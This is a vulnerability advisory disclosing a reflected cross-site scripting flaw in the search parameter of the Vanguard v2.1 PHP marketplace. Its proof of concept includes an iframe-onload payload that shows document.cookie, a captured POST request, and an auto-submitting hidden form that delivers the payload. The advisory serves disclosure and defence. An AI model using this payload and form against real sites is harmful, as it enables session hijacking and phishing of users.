Vanguard 2.1 – ‘Search’ Cross-Site Scripting (XSS)
# Exploit Title: Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) # Date: 2021-10-26 # Exploit Author: Vulnerability Lab # Vendor Homepage: https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975 # Version: 2.1 Document Title: =============== Vanguard v2.1 - (Search) POST Inject Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2283 Release Date: ============= 2021-10-26 Vulnerability Laboratory ID (VL-ID): ==================================== 2283 Common Vulnerability Scoring System: ==================================== 4 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975 Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a post inject web vulnerability in the Vanguard v2.1 cms web-application. Affected Product(s): ==================== VanguardInfini Product: Vanguard v2.1 - CMS (PHP) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-10-26: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A non-persistent post inject web vulnerability has been discovered in the official Vanguard v2.1 cms web-application. The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user session data or to manipulate application contents for clients. The vulnerability is located in the phps_query parameter of the search module. The vulnerability is a classic post injection web vulnerability with non-persistent attack vector. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request method(s): [+] POST Vulnerable Input(s): [+] Search Vulnerable Parameter(s): [+] phps_query Proof of Concept (PoC): ======================= The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. Vulnerable Source: search <div class="ui yellow basic segment"></div> <div class="ui container" style="margin-top: -0.7em;"> <form method="POST" action="https://vanguard.squamifer.ovh/search"> <div class="ui action input fluid"> <input name="phps_query" type="text" value=""><iframe src=a onload=alert(document.cookie)>" placeholder="Search for a product..."> <button class="ui button" type="submit" name="phps_search"><i class="search icon"></i>Search</button></div></form> <div class="ui divider"></div> <div class="ui cards aligned centered"> <div class="alert color blue-color"><div class="ui hidden divider"></div> <div class="ui icon info message"><i class="help circle icon"></i><div class="content"> <div class="header">No results found for <strong><iframe src=evil.source onload=alert(document.cookie)></strong>.</div></div></div></div> </div></div></div> --- PoC Session Logs [POST] --- https://vanguard.localhost:8080/search Host: vanguard.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 86 Origin: https://vanguard.localhost:8080 Connection: keep-alive Referer: https://vanguard.localhost:8080/ Cookie: PHPSESSID=57d86e593a55e069d1e6c728ce20b3b8 phps_query=">%20<iframe src=evil.source onload=alert(document.cookie)>&phps_search=;) - POST: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 pragma: no-cache cache-control: private vary: Accept-Encoding Exploitation: PoC <html> <head> <title>PoC</title> <style type="text/css"> #nodisplay { display:none; } </style> </head> <body> <div id="nodsiplay"> <form action="https://vanguard.localhost:8080/search" method="post"> <input type="text" name="phps_query" value=">%20<iframe src=evil.source onload=alert(document.cookie)>"/> </form> </div> <script> function submitForm() { document.forms[0].submit(); } submitForm(); </script> </body> </html> Security Risk: ============== The security risk of the validation web vulnerability in the web-application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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